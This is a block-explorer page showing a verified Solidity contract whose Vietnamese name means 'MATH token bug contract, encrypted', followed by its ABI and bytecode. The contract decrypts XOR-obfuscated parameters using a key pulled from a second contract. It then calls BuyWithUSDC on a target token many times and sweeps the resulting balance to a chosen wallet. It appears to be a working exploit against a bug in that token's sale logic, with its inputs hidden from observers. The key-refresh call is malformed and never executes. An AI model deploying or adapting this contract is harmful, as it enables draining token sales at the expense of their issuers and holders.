Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky.
This contract has been verified via Sourcify.
View contract in Sourcify repository
- Contract name:
- HopDongBugTokenMATH_MaHoa
- Optimization enabled
- false
- Compiler version
- v0.8.31+commit.fd3a2265
- EVM Version
- osaka
- Verified at
- 2026-02-06T16:27:37.686530Z
Constructor Arguments
000000000000000000000000e2fa2bc8f984ee73b65dc8af3072637c613f4eca
Arg [0] (address) : 0xe2fa2bc8f984ee73b65dc8af3072637c613f4eca
math - affection - Ma Hoa/hopDongBugTokenMath_MaHoa.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// Interface của hợp đồng gốc để gọi hàm BuyWithUSDC
interface mathTokenContract {
function BuyWithUSDC(uint256 amount) external;
}
interface hopDongTaoKeyMaHoaNgauNhien {
function yeuCauLayKey(uint8 port) external returns (string memory);
function yeuCauTaoKeyMoi(uint8 port) external;
}
// Interface ERC20 để tương tác với các token khác
interface ERC20_Token {
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
contract HopDongBugTokenMATH_MaHoa {
mapping(address => bool) private owners;
address private diaChiHopDongTaoKeyMaHoaNgauNhien;
constructor(address _diaChiHopDongTaoKeyMaHoaNgauNhien) {
owners[msg.sender] = true;
diaChiHopDongTaoKeyMaHoaNgauNhien = _diaChiHopDongTaoKeyMaHoaNgauNhien;
}
// Hàm kiểm tra owner
modifier onlyOwner() {
require(owners[msg.sender], "Only owner can call this function");
_;
}
// Hàm thêm owner mới
function themOwner(address _owner) public onlyOwner {
owners[_owner] = true;
}
// Hàm xóa owner
function xoaOwner(address _owner) public onlyOwner {
owners[_owner] = false;
}
// Hàm kiểm tra owner
function kiemTraQuyenOwner(
address _owner
) public view onlyOwner returns (bool) {
return owners[_owner];
}
// Hàm giải mã XOR
function giaiMaDuLieu(
bytes memory data,
bytes memory key
) internal pure returns (bytes memory) {
bytes memory decrypted = new bytes(data.length);
for (uint256 i = 0; i < data.length; i++) {
decrypted[i] = data[i] ^ key[i % key.length];
}
return decrypted;
}
// Hàm nhận dữ liệu mã hóa từ client
function nhanDuLieuMaHoaTuClient(
bytes memory duLieuMaHoa,
uint8 port
) public onlyOwner {
// Lấy key mã hóa từ hợp đồng tạo key mã hóa
string memory keyMaHoa = hopDongTaoKeyMaHoaNgauNhien(
diaChiHopDongTaoKeyMaHoaNgauNhien
).yeuCauLayKey(port);
// Giải mã dữ liệu
bytes memory duLieuDaGiaiMa = giaiMaDuLieu(
duLieuMaHoa,
bytes(keyMaHoa)
);
// Tách các tham số từ dữ liệu đã giải mã
(
address diaChiCuaTokenMath,
address diaChiViNhanTokenMath,
uint256[] memory soLuongUSDC,
uint256 tongSoLuongTokenMathMuonLay
) = abi.decode(duLieuDaGiaiMa, (address, address, uint256[], uint256));
multiCallBuyWithUsdcAndWithdraw(
diaChiCuaTokenMath,
diaChiViNhanTokenMath,
soLuongUSDC,
tongSoLuongTokenMathMuonLay
);
}
// Gọi hàm BuyWithUSDC nhiều lần và sau đó chuyển toàn bộ token về ví chủ sở hữu
function multiCallBuyWithUsdcAndWithdraw(
address diaChiCuaTokenMath,
address viNhanTokenMath,
uint256[] memory soLuongUSDC,
uint256 tongSoLuongTokenMathMuonLay
) private {
uint256 soLanThucHienVongLap = tongSoLuongTokenMathMuonLay;
// Thực hiện gọi hàm BuyWithUSDC nhiều lần
for (uint256 i = 0; i < soLanThucHienVongLap; i++) {
mathTokenContract(diaChiCuaTokenMath).BuyWithUSDC(soLuongUSDC[i]);
}
// Sau khi mua, chuyển toàn bộ token từ contract về ví của chủ sở hữu
uint256 soDuMathCuaContract = ERC20_Token(diaChiCuaTokenMath).balanceOf(
address(this)
);
require(soDuMathCuaContract > 0, "rut Math ve vi that bai");
// Thực hiện chuyển token về ví chủ sở hữu
bool success = ERC20_Token(diaChiCuaTokenMath).transfer(
viNhanTokenMath,
soDuMathCuaContract
);
require(success, "khong the chuyen Math ve vi");
// Gửi yêu cầu tạo key mã hóa mới
hopDongTaoKeyMaHoaNgauNhien(diaChiHopDongTaoKeyMaHoaNgauNhien)
.yeuCauTaoKeyMoi;
}
}
Compiler Settings
{"remappings":[],"optimizer":{"runs":200,"enabled":false},"metadata":{"bytecodeHash":"ipfs"},"libraries":{},"evmVersion":"osaka","compilationTarget":{"math - affection - Ma Hoa/hopDongBugTokenMath_MaHoa.sol":"HopDongBugTokenMATH_MaHoa"}}
Contract ABI
[{"type":"constructor","stateMutability":"nonpayable","inputs":[{"type":"address","name":"_diaChiHopDongTaoKeyMaHoaNgauNhien","internalType":"address"}]},{"type":"function","stateMutability":"view","outputs":[{"type":"bool","name":"","internalType":"bool"}],"name":"kiemTraQuyenOwner","inputs":[{"type":"address","name":"_owner","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"nhanDuLieuMaHoaTuClient","inputs":[{"type":"bytes","name":"duLieuMaHoa","internalType":"bytes"},{"type":"uint8","name":"port","internalType":"uint8"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"themOwner","inputs":[{"type":"address","name":"_owner","internalType":"address"}]},{"type":"function","stateMutability":"nonpayable","outputs":[],"name":"xoaOwner","inputs":[{"type":"address","name":"_owner","internalType":"address"}]}]
Contract Creation Code
0x608060405234801561000f575f5ffd5b506040516111ee3803806111ee83398181016040528101906100319190610129565b60015f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610154565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6100f8826100cf565b9050919050565b610108816100ee565b8114610112575f5ffd5b50565b5f81519050610123816100ff565b92915050565b5f6020828403121561013e5761013d6100cb565b5b5f61014b84828501610115565b91505092915050565b61108d806101615f395ff3fe608060405234801561000f575f5ffd5b506004361061004a575f3560e01c80634e5d14bf1461004e57806392918f791461007e578063a13d67231461009a578063b62c99a5146100b6575b5f5ffd5b61006860048036038101906100639190610871565b6100d2565b60405161007591906108b6565b60405180910390f35b61009860048036038101906100939190610a41565b6101ab565b005b6100b460048036038101906100af9190610871565b610316565b005b6100d060048036038101906100cb9190610871565b6103f4565b005b5f5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661015b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161015290610b1b565b60405180910390fd5b5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022a90610b1b565b60405180910390fd5b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663883e4b67836040518263ffffffff1660e01b815260040161028e9190610b48565b5f604051808303815f875af11580156102a9573d5f5f3e3d5ffd5b505050506040513d5f823e3d601f19601f820116820180604052508101906102d19190610c0d565b90505f6102de84836104d3565b90505f5f5f5f848060200190518101906102f89190610d86565b935093509350935061030c848484846105d6565b5050505050505050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661039e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039590610b1b565b60405180910390fd5b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390610b1b565b60405180910390fd5b60015f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60605f835167ffffffffffffffff8111156104f1576104f06108e7565b5b6040519080825280601f01601f1916602001820160405280156105235781602001600182028036833780820191505090505b5090505f5f90505b84518110156105cb57838451826105429190610e33565b8151811061055357610552610e63565b5b602001015160f81c60f81b85828151811061057157610570610e63565b5b602001015160f81c60f81b188282815181106105905761058f610e63565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350808060010191505061052b565b508091505092915050565b5f8190505f5f90505b81811015610674578573ffffffffffffffffffffffffffffffffffffffff166392c5bfc985838151811061061657610615610e63565b5b60200260200101516040518263ffffffff1660e01b815260040161063a9190610e9f565b5f604051808303815f87803b158015610651575f5ffd5b505af1158015610663573d5f5f3e3d5ffd5b5050505080806001019150506105df565b505f8573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106af9190610ec7565b602060405180830381865afa1580156106ca573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ee9190610ee0565b90505f8111610732576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072990610f55565b60405180910390fd5b5f8673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87846040518363ffffffff1660e01b815260040161076e929190610f73565b6020604051808303815f875af115801561078a573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ae9190610fc4565b9050806107f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e790611039565b60405180910390fd5b60015f9054906101000a90505050505050505050565b5f604051905090565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61084082610817565b9050919050565b61085081610836565b811461085a575f5ffd5b50565b5f8135905061086b81610847565b92915050565b5f602082840312156108865761088561080f565b5b5f6108938482850161085d565b91505092915050565b5f8115159050919050565b6108b08161089c565b82525050565b5f6020820190506108c95f8301846108a7565b92915050565b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61091d826108d7565b810181811067ffffffffffffffff8211171561093c5761093b6108e7565b5b80604052505050565b5f61094e610806565b905061095a8282610914565b919050565b5f67ffffffffffffffff821115610979576109786108e7565b5b610982826108d7565b9050602081019050919050565b828183375f83830152505050565b5f6109af6109aa8461095f565b610945565b9050828152602081018484840111156109cb576109ca6108d3565b5b6109d684828561098f565b509392505050565b5f82601f8301126109f2576109f16108cf565b5b8135610a0284826020860161099d565b91505092915050565b5f60ff82169050919050565b610a2081610a0b565b8114610a2a575f5ffd5b50565b5f81359050610a3b81610a17565b92915050565b5f5f60408385031215610a5757610a5661080f565b5b5f83013567ffffffffffffffff811115610a7457610a73610813565b5b610a80858286016109de565b9250506020610a9185828601610a2d565b9150509250929050565b5f82825260208201905092915050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f5f8201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b5f610b05602183610a9b565b9150610b1082610aab565b604082019050919050565b5f6020820190508181035f830152610b3281610af9565b9050919050565b610b4281610a0b565b82525050565b5f602082019050610b5b5f830184610b39565b92915050565b5f67ffffffffffffffff821115610b7b57610b7a6108e7565b5b610b84826108d7565b9050602081019050919050565b8281835e5f83830152505050565b5f610bb1610bac84610b61565b610945565b905082815260208101848484011115610bcd57610bcc6108d3565b5b610bd8848285610b91565b509392505050565b5f82601f830112610bf457610bf36108cf565b5b8151610c04848260208601610b9f565b91505092915050565b5f60208284031215610c2257610c2161080f565b5b5f82015167ffffffffffffffff811115610c3f57610c3e610813565b5b610c4b84828501610be0565b91505092915050565b5f610c5e82610817565b9050919050565b610c6e81610c54565b8114610c78575f5ffd5b50565b5f81519050610c8981610c65565b92915050565b5f67ffffffffffffffff821115610ca957610ca86108e7565b5b602082029050602081019050919050565b5f5ffd5b5f819050919050565b610cd081610cbe565b8114610cda575f5ffd5b50565b5f81519050610ceb81610cc7565b92915050565b5f610d03610cfe84610c8f565b610945565b90508083825260208201905060208402830185811115610d2657610d25610cba565b5b835b81811015610d4f5780610d3b8882610cdd565b845260208401935050602081019050610d28565b5050509392505050565b5f82601f830112610d6d57610d6c6108cf565b5b8151610d7d848260208601610cf1565b91505092915050565b5f5f5f5f60808587031215610d9e57610d9d61080f565b5b5f610dab87828801610c7b565b9450506020610dbc87828801610c7b565b935050604085015167ffffffffffffffff811115610ddd57610ddc610813565b5b610de987828801610d59565b9250506060610dfa87828801610cdd565b91505092959194509250565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610e3d82610cbe565b9150610e4883610cbe565b925082610e5857610e57610e06565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b610e9981610cbe565b82525050565b5f602082019050610eb25f830184610e90565b92915050565b610ec181610836565b82525050565b5f602082019050610eda5f830184610eb8565b92915050565b5f60208284031215610ef557610ef461080f565b5b5f610f0284828501610cdd565b91505092915050565b7f727574204d6174682076652076692074686174206261690000000000000000005f82015250565b5f610f3f601783610a9b565b9150610f4a82610f0b565b602082019050919050565b5f6020820190508181035f830152610f6c81610f33565b9050919050565b5f604082019050610f865f830185610eb8565b610f936020830184610e90565b9392505050565b610fa38161089c565b8114610fad575f5ffd5b50565b5f81519050610fbe81610f9a565b92915050565b5f60208284031215610fd957610fd861080f565b5b5f610fe684828501610fb0565b91505092915050565b7f6b686f6e67207468652063687579656e204d61746820766520766900000000005f82015250565b5f611023601b83610a9b565b915061102e82610fef565b602082019050919050565b5f6020820190508181035f83015261105081611017565b905091905056fea26469706673582212209d156a33a8fe626e78790e1a5bc42ef0a543c39163aad9dcee0fe053fc7eccf164736f6c634300081f0033000000000000000000000000e2fa2bc8f984ee73b65dc8af3072637c613f4eca
Deployed ByteCode
0x608060405234801561000f575f5ffd5b506004361061004a575f3560e01c80634e5d14bf1461004e57806392918f791461007e578063a13d67231461009a578063b62c99a5146100b6575b5f5ffd5b61006860048036038101906100639190610871565b6100d2565b60405161007591906108b6565b60405180910390f35b61009860048036038101906100939190610a41565b6101ab565b005b6100b460048036038101906100af9190610871565b610316565b005b6100d060048036038101906100cb9190610871565b6103f4565b005b5f5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661015b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161015290610b1b565b60405180910390fd5b5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022a90610b1b565b60405180910390fd5b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663883e4b67836040518263ffffffff1660e01b815260040161028e9190610b48565b5f604051808303815f875af11580156102a9573d5f5f3e3d5ffd5b505050506040513d5f823e3d601f19601f820116820180604052508101906102d19190610c0d565b90505f6102de84836104d3565b90505f5f5f5f848060200190518101906102f89190610d86565b935093509350935061030c848484846105d6565b5050505050505050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661039e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039590610b1b565b60405180910390fd5b5f5f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390610b1b565b60405180910390fd5b60015f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60605f835167ffffffffffffffff8111156104f1576104f06108e7565b5b6040519080825280601f01601f1916602001820160405280156105235781602001600182028036833780820191505090505b5090505f5f90505b84518110156105cb57838451826105429190610e33565b8151811061055357610552610e63565b5b602001015160f81c60f81b85828151811061057157610570610e63565b5b602001015160f81c60f81b188282815181106105905761058f610e63565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350808060010191505061052b565b508091505092915050565b5f8190505f5f90505b81811015610674578573ffffffffffffffffffffffffffffffffffffffff166392c5bfc985838151811061061657610615610e63565b5b60200260200101516040518263ffffffff1660e01b815260040161063a9190610e9f565b5f604051808303815f87803b158015610651575f5ffd5b505af1158015610663573d5f5f3e3d5ffd5b5050505080806001019150506105df565b505f8573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106af9190610ec7565b602060405180830381865afa1580156106ca573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ee9190610ee0565b90505f8111610732576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072990610f55565b60405180910390fd5b5f8673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87846040518363ffffffff1660e01b815260040161076e929190610f73565b6020604051808303815f875af115801561078a573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ae9190610fc4565b9050806107f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107e790611039565b60405180910390fd5b60015f9054906101000a90505050505050505050565b5f604051905090565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61084082610817565b9050919050565b61085081610836565b811461085a575f5ffd5b50565b5f8135905061086b81610847565b92915050565b5f602082840312156108865761088561080f565b5b5f6108938482850161085d565b91505092915050565b5f8115159050919050565b6108b08161089c565b82525050565b5f6020820190506108c95f8301846108a7565b92915050565b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61091d826108d7565b810181811067ffffffffffffffff8211171561093c5761093b6108e7565b5b80604052505050565b5f61094e610806565b905061095a8282610914565b919050565b5f67ffffffffffffffff821115610979576109786108e7565b5b610982826108d7565b9050602081019050919050565b828183375f83830152505050565b5f6109af6109aa8461095f565b610945565b9050828152602081018484840111156109cb576109ca6108d3565b5b6109d684828561098f565b509392505050565b5f82601f8301126109f2576109f16108cf565b5b8135610a0284826020860161099d565b91505092915050565b5f60ff82169050919050565b610a2081610a0b565b8114610a2a575f5ffd5b50565b5f81359050610a3b81610a17565b92915050565b5f5f60408385031215610a5757610a5661080f565b5b5f83013567ffffffffffffffff811115610a7457610a73610813565b5b610a80858286016109de565b9250506020610a9185828601610a2d565b9150509250929050565b5f82825260208201905092915050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f5f8201527f6e00000000000000000000000000000000000000000000000000000000000000602082015250565b5f610b05602183610a9b565b9150610b1082610aab565b604082019050919050565b5f6020820190508181035f830152610b3281610af9565b9050919050565b610b4281610a0b565b82525050565b5f602082019050610b5b5f830184610b39565b92915050565b5f67ffffffffffffffff821115610b7b57610b7a6108e7565b5b610b84826108d7565b9050602081019050919050565b8281835e5f83830152505050565b5f610bb1610bac84610b61565b610945565b905082815260208101848484011115610bcd57610bcc6108d3565b5b610bd8848285610b91565b509392505050565b5f82601f830112610bf457610bf36108cf565b5b8151610c04848260208601610b9f565b91505092915050565b5f60208284031215610c2257610c2161080f565b5b5f82015167ffffffffffffffff811115610c3f57610c3e610813565b5b610c4b84828501610be0565b91505092915050565b5f610c5e82610817565b9050919050565b610c6e81610c54565b8114610c78575f5ffd5b50565b5f81519050610c8981610c65565b92915050565b5f67ffffffffffffffff821115610ca957610ca86108e7565b5b602082029050602081019050919050565b5f5ffd5b5f819050919050565b610cd081610cbe565b8114610cda575f5ffd5b50565b5f81519050610ceb81610cc7565b92915050565b5f610d03610cfe84610c8f565b610945565b90508083825260208201905060208402830185811115610d2657610d25610cba565b5b835b81811015610d4f5780610d3b8882610cdd565b845260208401935050602081019050610d28565b5050509392505050565b5f82601f830112610d6d57610d6c6108cf565b5b8151610d7d848260208601610cf1565b91505092915050565b5f5f5f5f60808587031215610d9e57610d9d61080f565b5b5f610dab87828801610c7b565b9450506020610dbc87828801610c7b565b935050604085015167ffffffffffffffff811115610ddd57610ddc610813565b5b610de987828801610d59565b9250506060610dfa87828801610cdd565b91505092959194509250565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610e3d82610cbe565b9150610e4883610cbe565b925082610e5857610e57610e06565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b610e9981610cbe565b82525050565b5f602082019050610eb25f830184610e90565b92915050565b610ec181610836565b82525050565b5f602082019050610eda5f830184610eb8565b92915050565b5f60208284031215610ef557610ef461080f565b5b5f610f0284828501610cdd565b91505092915050565b7f727574204d6174682076652076692074686174206261690000000000000000005f82015250565b5f610f3f601783610a9b565b9150610f4a82610f0b565b602082019050919050565b5f6020820190508181035f830152610f6c81610f33565b9050919050565b5f604082019050610f865f830185610eb8565b610f936020830184610e90565b9392505050565b610fa38161089c565b8114610fad575f5ffd5b50565b5f81519050610fbe81610f9a565b92915050565b5f60208284031215610fd957610fd861080f565b5b5f610fe684828501610fb0565b91505092915050565b7f6b686f6e67207468652063687579656e204d61746820766520766900000000005f82015250565b5f611023601b83610a9b565b915061102e82610fef565b602082019050919050565b5f6020820190508181035f83015261105081611017565b905091905056fea26469706673582212209d156a33a8fe626e78790e1a5bc42ef0a543c39163aad9dcee0fe053fc7eccf164736f6c634300081f0033